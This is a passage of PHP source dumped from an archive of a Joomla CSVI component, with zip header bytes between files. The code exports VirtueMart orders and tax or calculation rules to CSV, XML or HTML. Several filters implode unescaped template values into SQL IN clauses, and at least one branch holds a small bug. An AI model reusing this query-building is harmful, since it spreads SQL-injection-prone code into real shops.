$db->quoteName('#__virtuemart_orders').'.'.$db->quoteName('created_on').' <= '.$db->Quote($orderdate->toMySQL()); } // Filter by order modified date start $ordermdatestart = $template->get('ordermdatestart', 'order', false); if ($ordermdatestart) { $ordermdate = JFactory::getDate($ordermdatestart); $selectors[] = $db->quoteName('#__virtuemart_orders').'.'.$db->quoteName('modified_on').' >= '.$db->Quote($ordermdate->toMySQL()); } // Filter by order modified date end $ordermdateend = $template->get('ordermdateend', 'order', false); if ($ordermdateend) { $ordermdate = JFactory::getDate($ordermdateend); $selectors[] = $db->quoteName('#__virtuemart_orders').'.'.$db->quoteName('modified_on').' <= '.$db->Quote($ordermdate->toMySQL()); } // Filter by order status $orderstatus = $template->get('orderstatus', 'order', false); if ($orderstatus && $orderstatus[0] != '') { $selectors[] = '#__virtuemart_orders.order_status IN (\''.implode("','", $orderstatus).'\')'; } // Filter by order price start $pricestart = $template->get('orderpricestart', 'order', false, 'float'); if ($pricestart) { $selectors[] = '#__virtuemart_orders.order_total >= '.$pricestart; } // Filter by order price end $priceend = $template->get('orderpriceend', 'order', false, 'float'); if ($priceend) { $selectors[] = '#__virtuemart_orders.order_total <= '.$priceend; } // Filter by order user id $orderuser = $template->get('orderuser', 'order', false); if ($orderuser && $orderuser[0] != '') { $selectors[] = '#__virtuemart_orders.virtuemart_user_id IN (\''.implode("','", $orderuser).'\')'; } // Filter by order product $orderproduct = $template->get('orderproduct', 'order', false); if ($orderproduct && $orderproduct[0] != '') { $selectors[] = '#__virtuemart_order_items.order_item_sku IN (\''.implode("','", $orderproduct).'\')'; } // Filter by address type if ($address) { switch (strtoupper($address)) { case 'BTST': $selectors[] = "user_info1.address_type = 'BT'"; break; default: $selectors[] = 'user_info1.address_type = '.$db->Quote(strtoupper($address)); break; } } // Filter by order currency $ordercurrency = $template->get('ordercurrency', 'order', false); if ($ordercurrency && $ordercurrency[0] != '') { $selectors[] = '#__virtuemart_orders.order_currency IN (\''.implode("','", $ordercurrency).'\')'; } // Filter by payment method $orderpayment = $template->get('orderpayment', 'order', false); if ($orderpayment && $orderpayment[0] != '') { $selectors[] = '#__virtuemart_orders.virtuemart_paymentmethod_id IN (\''.implode("','", $orderpayment).'\')'; } // Check if we need to attach any selectors to the query if (count($selectors) > 0) $query->where(implode("\n AND ", $selectors)); // Check if we need to group the orders together $groupby = $template->get('groupby', 'general', false, 'bool'); if ($groupby) { $filter = $this->getFilterBy('groupby', $address, $user_info_fields); if (!empty($filter)) $query->group($filter); } // Order by set field $orderby = $this->getFilterBy('sort', $address, $user_info_fields); if (!empty($orderby)) $query->order($orderby); // Add a limit if user wants us to $limits = $this->getExportLimit(); // Execute the query $csvidb->setQuery($query, $limits['offset'], $limits['limit']); $csvilog->addDebug(JText::_('COM_CSVI_EXPORT_QUERY'), true); // There are no records, write SQL query to log if (!is_null($csvidb->getErrorMsg())) { $this->addExportContent(JText::sprintf('COM_CSVI_ERROR_RETRIEVING_DATA', $csvidb->getErrorMsg())); $this->writeOutput(); $csvilog->AddStats('incorrect', $csvidb->getErrorMsg()); } else { $logcount = $csvidb->getNumRows(); $jinput->set('logcount', $logcount); if ($logcount > 0) { $linenumber = 1; while ($record = $csvidb->getRow()) { $csvilog->setLinenumber($linenumber++); if ($template->get('export_file', 'general') == 'xml' || $template->get('export_file', 'general') == 'html') $this->addExportContent($exportclass->NodeStart()); foreach ($export_fields as $column_id => $field) { if ($field->process) { $fieldname = $field->field_name; // Add the replacement if (isset($record->$fieldname)) $fieldvalue = CsviHelper::replaceValue($field->replace, $record->$fieldname); else $fieldvalue = ''; switch ($fieldname) { case 'payment_element': $query = $db->getQuery(true); $query->select($fieldname); $query->from('#__virtuemart_paymentmethods'); $query->where('virtuemart_paymentmethod_id = '.$record->virtuemart_paymentmethod_id); $db->setQuery($query); $fieldvalue = CsviHelper::replaceValue($field->replace, $db->loadResult()); $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; case 'shipment_element': $query = $db->getQuery(true); $query->select($fieldname); $query->from('#__virtuemart_shipmentmethods'); $query->where('virtuemart_shipmentmethod_id = '.$record->virtuemart_shipmentmethod_id); $db->setQuery($query); $fieldvalue = CsviHelper::replaceValue($field->replace, $db->loadResult()); $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; case 'state_2_code': case 'state_3_code': case 'state_name': $query = $db->getQuery(true); $query->select($fieldname); $query->from('#__virtuemart_states'); $query->where('virtuemart_state_id = '.$record->virtuemart_state_id); $db->setQuery($query); $fieldvalue = CsviHelper::replaceValue($field->replace, $db->loadResult()); $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; case 'country_2_code': case 'country_3_code': case 'country_name': $query = $db->getQuery(true); $query->select($fieldname); $query->from('#__virtuemart_countries'); $query->where('virtuemart_country_id = '.$record->virtuemart_country_id); $db->setQuery($query); $fieldvalue = CsviHelper::replaceValue($field->replace, $db->loadResult()); $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; case 'user_currency': $query = $db->getQuery(true); $query->select('currency_code_3'); $query->from('#__virtuemart_currencies'); $query->where('virtuemart_currency_id = '.$record->user_currency_id); $db->setQuery($query); $fieldvalue = CsviHelper::replaceValue($field->replace, $db->loadResult()); $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; case 'user_email': $fieldvalue = CsviHelper::replaceValue($field->replace, $record->email); $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; case 'user_id': $fieldvalue = CsviHelper::replaceValue($field->replace, $record->virtuemart_user_id); $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; case 'created_on': case 'modified_on': case 'locked_on': $date = JFactory::getDate($record->$fieldname); $fieldvalue = CsviHelper::replaceValue($field->replace, date($template->get('export_date_format', 'general'), $date->toUnix())); $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; case 'address_type': // Check if we have any content otherwise use the default value if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; if ($fieldvalue == 'BT') $fieldvalue = JText::_('COM_CSVI_BILLING_ADDRESS'); else if ($fieldvalue == 'ST') $fieldvalue = JText::_('COM_CSVI_SHIPPING_ADDRESS'); $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; case 'full_name': $fieldvalue = str_replace(' ', ' ', $record->first_name.' '.$record->middle_name.' '.$record->last_name); // Check if we have any content otherwise use the default value if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; case 'total_order_items': $query = $db->getQuery(true); $query->select('COUNT(virtuemart_order_id) AS totalitems'); $query->from('#__virtuemart_order_items'); $query->where('virtuemart_order_id = '.$record->virtuemart_order_id); $db->setQuery($query); $fieldvalue = CsviHelper::replaceValue($field->replace, $db->loadResult()); // Check if we have any content otherwise use the default value if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; case 'custom': // Has no database value, get the default value only $fieldvalue = $field->default_value; $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; case 'username': $query = $db->getQuery(true); $query->select($fieldname); $query->from('#__users'); $query->where('id = '.$record->virtuemart_user_id); $db->setQuery($query); $fieldvalue = CsviHelper::replaceValue($field->replace, $db->loadResult()); // Check if we have any content otherwise use the default value if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; case 'order_tax': case 'order_total': case 'order_subtotal': case 'order_shipment': case 'order_shipment_tax': case 'order_payment': case 'order_payment_tax': case 'coupon_discount': case 'order_discount': case 'user_currency_rate': case 'product_price_total': case 'discount_percentage': $fieldvalue = number_format($fieldvalue, $template->get('export_price_format_decimal', 'general', 2, 'int'), $template->get('export_price_format_decsep', 'general'), $template->get('export_price_format_thousep', 'general')); $fieldvalue = CsviHelper::replaceValue($field->replace, $fieldvalue); // Check if we have any content otherwise use the default value if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; default: // Check if we have any content otherwise use the default value if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; } } } // Clean the totalitems JRequest::setVar('total_order_items', 0); if ($template->get('export_file', 'general') == 'xml' || $template->get('export_file', 'general') == 'html') { $this->addExportContent($exportclass->NodeEnd()); } // Output the contents $this->writeOutput(); } } else { $this->addExportContent(JText::_('COM_CSVI_NO_DATA_FOUND')); // Output the contents $this->writeOutput(); } } } /** * Create an SQL filter * * @copyright * @author RolandD * @todo * @see * @access protected * @param string $filter what kind of SQL type should be created * @return string the SQL part to add to the query * @since 3.0 */ protected function getFilterBy($filter, $address, $user_info_fields) { $db = JFactory::getDBO(); $export_fields = JRequest::getVar('export.fields'); $fields = array(); foreach ($export_fields as $column_id => $field) { switch ($filter) { case 'groupby': $process = true; break; case 'sort': $process = $field->sort; break; default: $process = false; } if ($process) { switch ($field->field_name) { case 'custom': case 'total_order_items': case 'discount_percentage': case 'product_price_total': case 'full_name': case 'payment_element': case 'shipment_element': case 'state_2_code': case 'state_3_code': case 'state_name': case 'country_2_code': case 'country_3_code': case 'country_name': case 'user_currency': case 'user_email': case 'user_id': case 'virtuemart_country_id': break; case 'user_id': $fields[] = $db->qn('#__virtuemart_orders.virtuemart_user_id'); break; case 'product_price': $fields[] = $db->qn('product_item_price'); break; case 'ordering': $fields[] = $db->qn('#__virtuemart_orderstates.ordering'); break; default: if ($address == 'BTST' && preg_match("/".$field->field_name."/i", join(",", array_keys($user_info_fields)))) { $fields[] = $db->qn('user_info1.'.$field->field_name); } else $fields[] = $db->qn($field->field_name); break; } } } // Construct the SQL part if (!empty($fields)) { switch ($filter) { case 'groupby': $groupby_fields = array_unique($fields); $q = implode(',', $groupby_fields); break; case 'sort': $sort_fields = array_unique($fields); $q = implode(', ', $sort_fields); break; default: $q = ''; break; } } else $q = ''; return $q; } } ?>PK@y>\C&&?components/com_csvi/models/com_virtuemart/export/calcexport.phpnuW+Ainput; $csvilog = $jinput->get('csvilog', null, null); $template = $jinput->get('template', null, null); $exportclass = $jinput->get('export.class', null, null); $export_fields = $jinput->get('export.fields', array(), 'array'); $helper = new Com_VirtueMart(); // Build something fancy to only get the fieldnames the user wants $userfields = array(); foreach ($export_fields as $column_id => $field) { if ($field->process) { switch ($field->field_name) { case 'virtuemart_calc_id': case 'created_by': case 'created_on': case 'locked_by': case 'locked_on': case 'modified_by': case 'modified_on': case 'ordering': case 'published': case 'shared': case 'virtuemart_vendor_id': $userfields[] = '#__virtuemart_calcs.'.$field->field_name; break; case 'category_path': case 'shopper_group_name': case 'country_name': case 'country_2_code': case 'country_3_code': case 'state_name': case 'state_2_code': case 'state_3_code': $userfields[] = '#__virtuemart_calcs.virtuemart_calc_id'; break; default: $userfields[] = $db->quoteName($field->field_name); break; } } } // Build the query $userfields = array_unique($userfields); $query = $db->getQuery(true); $query->select(implode(",\n", $userfields)); $query->from('#__virtuemart_calcs'); $query->leftJoin('#__virtuemart_calc_categories ON #__virtuemart_calc_categories.virtuemart_calc_id = #__virtuemart_calcs.virtuemart_calc_id'); $query->leftJoin('#__virtuemart_calc_countries ON #__virtuemart_calc_countries.virtuemart_calc_id = #__virtuemart_calcs.virtuemart_calc_id'); $query->leftJoin('#__virtuemart_calc_shoppergroups ON #__virtuemart_calc_shoppergroups.virtuemart_calc_id = #__virtuemart_calcs.virtuemart_calc_id'); $query->leftJoin('#__virtuemart_calc_states ON #__virtuemart_calc_states.virtuemart_calc_id = #__virtuemart_calcs.virtuemart_calc_id'); $query->leftJoin('#__virtuemart_currencies ON #__virtuemart_currencies.virtuemart_currency_id = #__virtuemart_calcs.calc_currency'); // Check if there are any selectors $selectors = array(); // Filter by published state $publish_state = $template->get('publish_state', 'general'); if ($publish_state != '' && ($publish_state == 1 || $publish_state == 0)) { $selectors[] = '#__virtuemart_calcs.published = '.$publish_state; } // Check if we need to attach any selectors to the query if (count($selectors) > 0 ) $query->where(implode("\n AND ", $selectors)); // Ignore fields $ignore = array('category_path', 'shopper_group_name','country_name', 'country_2_code', 'country_3_code', 'state_name', 'state_2_code', 'state_3_code'); // Check if we need to group the orders together $groupby = $template->get('groupby', 'general', false, 'bool'); if ($groupby) { $filter = $this->getFilterBy('groupby', $ignore); if (!empty($filter)) $query->group($filter); } // Order by set field $orderby = $this->getFilterBy('sort', $ignore); if (!empty($orderby)) $query->order($orderby); // Add a limit if user wants us to $limits = $this->getExportLimit(); // Execute the query $csvidb->setQuery($query, $limits['offset'], $limits['limit']); $csvilog->addDebug(JText::_('COM_CSVI_EXPORT_QUERY'), true); // There are no records, write SQL query to log if (!is_null($csvidb->getErrorMsg())) { $this->addExportContent(JText::sprintf('COM_CSVI_ERROR_RETRIEVING_DATA', $csvidb->getErrorMsg())); $this->writeOutput(); $csvilog->AddStats('incorrect', $csvidb->getErrorMsg()); } else { $logcount = $csvidb->getNumRows(); $jinput->set('logcount', $logcount); if ($logcount > 0) { $linenumber = 1; while ($record = $csvidb->getRow()) { $csvilog->setLinenumber($linenumber++); if ($template->get('export_file', 'general') == 'xml' || $template->get('export_file', 'general') == 'html') $this->addExportContent($exportclass->NodeStart()); foreach ($export_fields as $column_id => $field) { $fieldname = $field->field_name; // Add the replacement if (isset($record->$fieldname)) $fieldvalue = CsviHelper::replaceValue($field->replace, $record->$fieldname); else $fieldvalue = ''; switch ($fieldname) { case 'category_path': // Get all the category IDs $query = $db->getQuery(true); $query->select('virtuemart_category_id'); $query->from('#__virtuemart_calc_categories'); $query->where('virtuemart_calc_id = '.$record->virtuemart_calc_id); $db->setQuery($query); $catids = $db->loadColumn(); if (!empty($catids)) { $categories = array(); foreach ($catids as $catid) { $categories[] = $helper->createCategoryPathById($catid); } $fieldvalue = implode('|', $categories); } $fieldvalue = CsviHelper::replaceValue($field->replace, $fieldvalue); $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header, true); break; case 'shopper_group_name': $query = $db->getQuery(true); $query->select('virtuemart_shoppergroup_id'); $query->from('#__virtuemart_calc_shoppergroups'); $query->where('virtuemart_calc_id = '.$record->virtuemart_calc_id); $db->setQuery($query); $groupids = $db->loadResultArray(); if (!empty($groupids)) { $query = $db->getQuery(true); $query->select('shopper_group_name'); $query->from('#__virtuemart_shoppergroups'); $query->where('virtuemart_shoppergroup_id IN ('.implode(',', $groupids).')'); $db->setQuery($query); $names = $db->loadResultArray(); $fieldvalue = implode('|', $names); } $fieldvalue = CsviHelper::replaceValue($field->replace, $fieldvalue); $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header, true); break; case 'country_name': case 'country_2_code': case 'country_3_code': $query = $db->getQuery(true); $query->select('virtuemart_country_id'); $query->from('#__virtuemart_calc_countries'); $query->where('virtuemart_calc_id = '.$record->virtuemart_calc_id); $db->setQuery($query); $groupids = $db->loadResultArray(); if (!empty($groupids)) { $query = $db->getQuery(true); $query->select($fieldname); $query->from('#__virtuemart_countries'); $query->where('virtuemart_country_id IN ('.implode(',', $groupids).')'); $db->setQuery($query); $names = $db->loadResultArray(); $fieldvalue = implode('|', $names); } $fieldvalue = CsviHelper::replaceValue($field->replace, $fieldvalue); $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header, true); break; case 'state_name': case 'state_2_code': case 'state_3_code': $query = $db->getQuery(true); $query->select('virtuemart_state_id'); $query->from('#__virtuemart_calc_states'); $query->where('virtuemart_calc_id = '.$record->virtuemart_calc_id); $db->setQuery($query); $groupids = $db->loadResultArray(); if (!empty($groupids)) { $query = $db->getQuery(true); $query->select($fieldname); $query->from('#__virtuemart_states'); $query->where('virtuemart_state_id IN ('.implode(',', $groupids).')'); $db->setQuery($query); $names = $db->loadResultArray(); $fieldvalue = implode('|', $names); } $fieldvalue = CsviHelper::replaceValue($field->replace, $fieldvalue); $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header, true); break; default: // Check if we have any content otherwise use the default value if (strlen(trim($fieldvalue)) == 0) $fieldvalue = $field->default_value; $this->addExportField($field->combine, $fieldvalue, $fieldname, $field->column_header); break; } } if ($template->get('export_file', 'general') == 'xml' || $template->get('export_file', 'general') == 'html') { $this->addExportContent($exportclass->NodeEnd()); } // Output the contents $this->writeOutput(); } } else { $this->addExportContent(JText::_('COM_CSVI_NO_DATA_FOUND')); // Output the contents $this->writeOutput(); } } } } ?>PK@y>\%components/com_csvi/models/index.htmlnuW+APK@y>\)$components/com_csvi/models/.htaccessnuW+A Order allow,deny Deny from all PK@y>\^^VV)components/com_csvi/models/exportfile.phpnuW+Ainput; $db = JFactory::getDbo(); $option = $jinput->get('option'); $data = $jinput->get('jform', array(), 'array'); // Prepare the template $template = $jinput->get('template', null, null); if (is_null($template)) { $data['id'] = $jinput->get('template_id', 0, 'int'); $template = new CsviTemplate($data); $jinput->set('template', $template); } $template->setName($jinput->get('template_name', '', 'string')); // Set the export type $jinput->set('export_type', $data['options']['operation']); // Initiate the log $csvilog = new CsviLog(); // Create a new Import ID in the logger $csvilog->setId(); // Set to collect debug info $csvilog->setDebug($template->get('collect_debug_info', 'general')); // Set some log info $csvilog->SetAction('export'); $csvilog->SetActionType($jinput->get('export_type'), $template->getName('template_name')); // Add the logger to the registry $jinput->set('csvilog', $csvilog); // Load the fields to export $exportfields = $this->getExportFields(); if (!empty($exportfields)) { // Set the last export field $jinput->set('export.fields', $exportfields); // Allow big SQL selects $db->setQuery("SET OPTION SQL_BIG_SELECTS=1"); $db->query(); // Get the filename for the export file $jinput->set('export.filename', $this->exportFilename()); // See if we need to get an XML/HTML class $export_format = $template->get('export_file', 'general'); if ($export_format == 'xml' || $export_format == 'html') { $exportclass = $this->getExportClass(); if ($exportclass) $jinput->set('export.class', $exportclass); else { $csvilog->AddStats('incorrect', JText::_('COM_CSVI_NO_EXPORT_CLASS')); $app->enqueueMessage(JText::_('COM_CSVI_NO_EXPORT_CLASS'), 'error'); $jinput->set('logcount', 0); return false; } } // Return all is good return true; } else { $csvilog->AddStats('incorrect', JText::_('COM_CSVI_NO_EXPORT_FIELDS')); $app->enqueueMessage(JText::_('COM_CSVI_NO_EXPORT_FIELDS'), 'error'); $jinput->set('logcount', 0); return false; } } /** * Set the delimiters * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.0 */ private function _setDelimiters() { if (is_null($this->_field_delim)) { $jinput = JFactory::getApplication()->input; $template = $jinput->get('template', null, null); // Set the delimiters $this->_field_delim = $template->get('field_delimiter', 'general', ','); $this->_text_delim = $template->get('text_enclosure', 'general', ''); } } /** * Process the export data * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function getProcessData() { $jinput = JFactory::getApplication()->input; $template = $jinput->get('template', null, null); $csvilog = $jinput->get('csvilog', null, null); $export_format = $template->get('export_file', 'general'); $export_fields = $jinput->get('export.fields', null, null); $export_class = $jinput->get('export.class', null, null); // Write out some import settings $this->_exportDetails(); // Start the export if (!$this->_outputStart()) { // Store the log results $log_model = $this->_getModel('log'); $log_model->getStoreLogResults(); return false; } // Add signature for Excel if ($template->get('signature', 'general')) $this->_contents['signature'] = "\xEF\xBB\xBF"; // Add header for XML if ($export_format == 'xml') $this->_contents[] = $export_class->HeaderText(); // Add header for HTML else if ($export_format == 'html') { $this->_contents[] = $export_class->HeaderText(); if ($template->get('include_column_headers', 'general')) { $this->_contents[] = $export_class->StartTableHeaderText(); foreach ($export_fields as $column_id => $field) { if ($field->process) { $header = ($field->column_header) ? $field->column_header : $field->field_name; $this->_contents[] = $export_class->TableHeaderText($header); } } $this->_contents[] = $export_class->EndTableHeaderText(); } $this->_contents[] = $export_class->BodyText(); } else { // Add the header from the template $header = $template->get('header', 'layout', false); if ($header) { $this->_contents[] = $header; $this->writeOutput(); } // Get the delimiters // See if the user wants column headers // Product type names export needs to be excluded here otherwise the column headers are incorrect if ($template->get('include_column_headers', 'general', true)) { $this->_setDelimiters(); $addheader = true; foreach ($export_fields as $column_id => $field) { if ($field->process) { $header = (empty($field->column_header)) ? $field->field_name : $field->column_header; if ($addheader) $this->_contents[] = $this->_text_delim.$header.$this->_text_delim; if ($field->combine) $addheader = false; else $addheader = true; } } } } // Output content $this->writeOutput(); // Start the export from the chosen template type $exportmodel = $this->_getModel($jinput->get('export_type')); $exportmodel->getStart(); if ($export_format == 'xml' || $export_format == 'html') { $footer = $export_class->FooterText(); } else { // Add the footer from the template $footer = $template->get('footer', 'layout'); } // Write the footer if ($footer && !empty($footer)) { $this->_contents[] = $footer; $this->writeOutput(); } // End the export $this->_outputEnd(); // Store the log results $log_model = $this->_getModel('log'); $log_model->getStoreLogResults(); // Process some settings switch ($template->get('exportto', 'general')) { case 'tofile': case 'toemail': case 'toftp': if (!$jinput->get('cron', false, 'bool')) { $app = JFactory::getApplication(); $app->redirect(JURI::root().'administrator/index.php?option=com_csvi&task=process.finished&run_id='.$csvilog->getId()); } break; case 'todownload': jexit(); break; case 'tofront': return true; break; } } /** * Cleanup after export * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return void * @since 3.0 */ public function getCleanSession() { // Store the log results first $log = $this->_getModel('log'); $log->getStoreLogResults(); } /** * Load the export class that handles the file export * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return bool true when xml class is found|false when when no site is given * @since 3.0 */ public function getExportClass() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $template = $jinput->get('template', null, null); $exportclass = false; $exporttype = $template->get('export_file', 'general'); $exportsite = $template->get('export_site', 'general', 'csvimproved'); // Construct the file name $filename = $exportsite.'.php'; // Find the export class $helper = JPath::find(array(JPATH_COMPONENT_ADMINISTRATOR.'/helpers/file/export/'.$exporttype), $filename); if (!$helper) return false; else { // Load the file and instantite it include_once($helper); $classname = 'Csvi'.ucfirst($exportsite); $exportclass = new $classname; } return $exportclass; } /** * Get the export filename * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return string Returns the filename of the exported file * @since 3.0 */ public function exportFilename() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $template = $jinput->get('template', null, null); // Check if the export is limited, if so add it to the filename // Check if both values are greater than 0 if (($template->get('recordstart', 'general') > 0) && ($template->get('recordend', 'general') > 0)) { // We have valid limiters, add the limit to the filename $filelimit = "_".$template->get('recordend', 'general').'_'.($template->get('recordend', 'general')-1)+$template->get('recordstart', 'general'); } else $filelimit = ''; // Set the filename to use for export $export_filename = trim($template->get('export_filename', 'general')); $local_path = JPath::clean($template->get('localpath', 'general'), '/'); $export_file = $template->get('export_file', 'general'); // Do some customizing // Replace year $export_filename = str_replace('[Y]', date('Y', time()), $export_filename); $export_filename = str_replace('[y]', date('y', time()), $export_filename); // Replace month $export_filename = str_replace('[M]', date('M', time()), $export_filename); $export_filename = str_replace('[m]', date('m', time()), $export_filename); $export_filename = str_replace('[F]', date('F', time()), $export_filename); $export_filename = str_replace('[n]', date('n', time()), $export_filename); // Replace day $export_filename = str_replace('[d]', date('d', time()), $export_filename); $export_filename = str_replace('[D]', date('D', time()), $export_filename); $export_filename = str_replace('[j]', date('j', time()), $export_filename); $export_filename = str_replace('[l]', date('l', time()), $export_filename); // Replace hour $export_filename = str_replace('[g]', date('g', time()), $export_filename); $export_filename = str_replace('[G]', date('G', time()), $export_filename); $export_filename = str_replace('[h]', date('h', time()), $export_filename); $export_filename = str_replace('[H]', date('H', time()), $export_filename); // Replace minute $export_filename = str_replace('[i]', date('i', time()), $export_filename); // Replace seconds $export_filename = str_replace('[s]', date('s', time()), $export_filename); // Setup the full path for the filename switch ($template->get('exportto', 'general')) { case 'toemail': case 'toftp': if (!empty($export_filename)) $localfile = CSVIPATH_TMP.'/'.$export_filename; else $localfile = CSVIPATH_TMP.'/CSVI_VM_'.$jinput->get('template_name', '', 'cmd').'_'.date("j-m-Y_H.i").$filelimit.".".$export_file; break; case 'tofile': if (!empty($local_path) && !empty($export_filename)) $localfile = $local_path.'/'.$export_filename; else if (!empty($local_path)) $localfile = $local_path.'/CSVI_VM_'.$jinput->get('template_name', '', 'cmd').'_'.date("j-m-Y_H.i").$filelimit.".".$export_file; else 'CSVI_VM_'.$jinput->get('template_name', '', 'cmd').'_'.date("j-m-Y_H.i").$filelimit.".".$export_file; break; case 'tofront': $uri = JURI::getInstance(); $localfile = $uri->toString(); break; default: if (!empty($export_filename)) $localfile = $export_filename; else $localfile = 'CSVI_VM_'.$jinput->get('template_name', '', 'cmd').'_'.date("j-m-Y_H.i").$filelimit.".".$export_file; break; } // Clean up $localfile = JPath::clean($localfile, '/'); // Set the filename $csvilog->setFilename($localfile); // Return the filename return $localfile; } /** * Get the fields to use for the export * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return array Returns an array of required fields and default field values * @since 3.0 */ public function getExportFields() { $jinput = JFactory::getApplication()->input; $db = JFactory::getDbo(); $template = $jinput->get('template', null, null); // Get the field configuration $export_fields = $template->get('export_fields'); // Set the field options for export if (!empty($export_fields)) { foreach ($export_fields['_selected_name'] as $kef => $field_name) { $field = new StdClass; $field->field_name = $field_name; $field->column_header = $export_fields['_column_header'][$kef]; $field->default_value = $export_fields['_default_value'][$kef]; $field->process = $export_fields['_process_field'][$kef]; $field->combine = $export_fields['_combine_field'][$kef]; $field->sort = $export_fields['_sort_field'][$kef]; $field->replace = $export_fields['_replace_field'][$kef]; $field->field_id = ($kef+1); $fields[($kef+1)] = $field; } } else return array(); // Return the required and default values return $fields; } /** * Print out export details * * @copyright * @author RolandD * @todo * @see * @access private * @param * @return * @since 3.0 */ private function _exportDetails() { $jinput = JFactory::getApplication()->input; // Get the logger $csvilog = $jinput->get('csvilog', null, null); // Get the template settings to see if we need a preview $template = $jinput->get('template', null, null); $csvilog->addDebug(JText::_('COM_CSVI_CSVI_VERSION_TEXT').JText::_('COM_CSVI_CSVI_VERSION')); if (function_exists('phpversion')) $csvilog->addDebug(JText::sprintf('COM_CSVI_PHP_VERSION', phpversion())); // General settings $csvilog->addDebug(JText::_('COM_CSVI_GENERAL_SETTINGS')); // Show which template is used */ $csvilog->addDebug(JText::sprintf('COM_CSVI_TEMPLATE_NAME', $jinput->get('template_name'))); // Destination settings $exportto = $template->get('exportto', 'general'); $csvilog->addDebug(JText::sprintf('COM_CSVI_DEBUG_CHOSEN_DESTINATION', $exportto)); switch ($exportto) { case 'tofile': $csvilog->addDebug(JText::sprintf('COM_CSVI_DEBUG_EXPORT_PATH', $template->get('localpath', 'general'))); break; case 'toftp': $csvilog->addDebug(JText::sprintf('COM_CSVI_DEBUG_EXPORT_FTP_HOST', $template->get('ftphost', 'general'))); $csvilog->addDebug(JText::sprintf('COM_CSVI_DEBUG_EXPORT_FTP_PORT', $template->get('ftpport', 'general'))); $csvilog->addDebug(JText::sprintf('COM_CSVI_DEBUG_EXPORT_FTP_USERNAME', $template->get('ftpusername', 'general'))); $csvilog->addDebug(JText::sprintf('COM_CSVI_DEBUG_EXPORT_FTP_ROOT', $template->get('ftproot', 'general'))); break; } // Export filename $csvilog->addDebug(JText::sprintf('COM_CSVI_DEBUG_EXPORT_GENERATED_FILENAME', $jinput->get('export.filename'))); // Export type $csvilog->addDebug(JText::sprintf('COM_CSVI_DEBUG_CHOSEN_EXPORT_TYPE', $template->get('export_type'))); // User given filename $csvilog->addDebug(JText::sprintf('COM_CSVI_DEBUG_EXPORT_FILENAME', $template->get('export_filename'))); // Export type $export_file = $template->get('export_file', 'general'); $csvilog->addDebug(JText::sprintf('COM_CSVI_DEBUG_EXPORT_FILE', $export_file)); if ($export_file == 'xml') { $csvilog->addDebug(JText::sprintf('COM_CSVI_DEBUG_EXPORT_SITE', $template->get('export_site', 'general'))); } // Check delimiter char $csvilog->addDebug(JText::sprintf('COM_CSVI_USING_DELIMITER', $template->get('field_delimiter', 'general'))); // Check enclosure char $csvilog->addDebug(JText::sprintf('COM_CSVI_USING_ENCLOSURE', $template->get('text_enclosure', 'general'))); // Include column headers $use_header = ($template->get('include_column_headers', 'general')) ? JText::_('COM_CSVI_YES') : JText::_('COM_CSVI_NO'); $csvilog->addDebug(JText::sprintf('COM_CSVI_DEBUG_INCLUDE_HEADER', $use_header)); // Add signature $signature = ($template->get('signature', 'general')) ? JText::_('COM_CSVI_YES') : JText::_('COM_CSVI_NO'); $csvilog->addDebug(JText::sprintf('COM_CSVI_DEBUG_SIGNATURE', $signature)); // Export frontend $export_frontend = ($template->get('export_frontend', 'general')) ? JText::_('COM_CSVI_YES') : JText::_('COM_CSVI_NO'); $csvilog->addDebug(JText::sprintf('COM_CSVI_DEBUG_EXPORT_FRONTEND', $export_frontend)); // Export state switch ($template->get('publish_state', 'general')) { case 'Y': $publish_state = JText::_('COM_CSVI_YES'); break; case 'N': $publish_state = JText::_('COM_CSVI_NO'); break; default: $publish_state = JText::_('COM_CSVI_ALL_STATES'); break; } $csvilog->addDebug(JText::sprintf('COM_CSVI_DEBUG_PUBLISH_STATE', $publish_state)); // Number of records to export $csvilog->addDebug(JText::sprintf('COM_CSVI_DEBUG_RECORD_START', $template->get('recordstart', 'general'))); $csvilog->addDebug(JText::sprintf('COM_CSVI_DEBUG_RECORD_END', $template->get('recordend', 'general'))); // Record grouping $groupby = ($template->get('groupby', 'general')) ? JText::_('COM_CSVI_YES') : JText::_('COM_CSVI_NO'); $csvilog->addDebug(JText::sprintf('COM_CSVI_DEBUG_GROUPBY', $groupby)); // VirtueMart Item ID $csvilog->addDebug(JText::sprintf('COM_CSVI_DEBUG_VM_ITEMID', $template->get('vm_itemid', 'general'))); // Date format 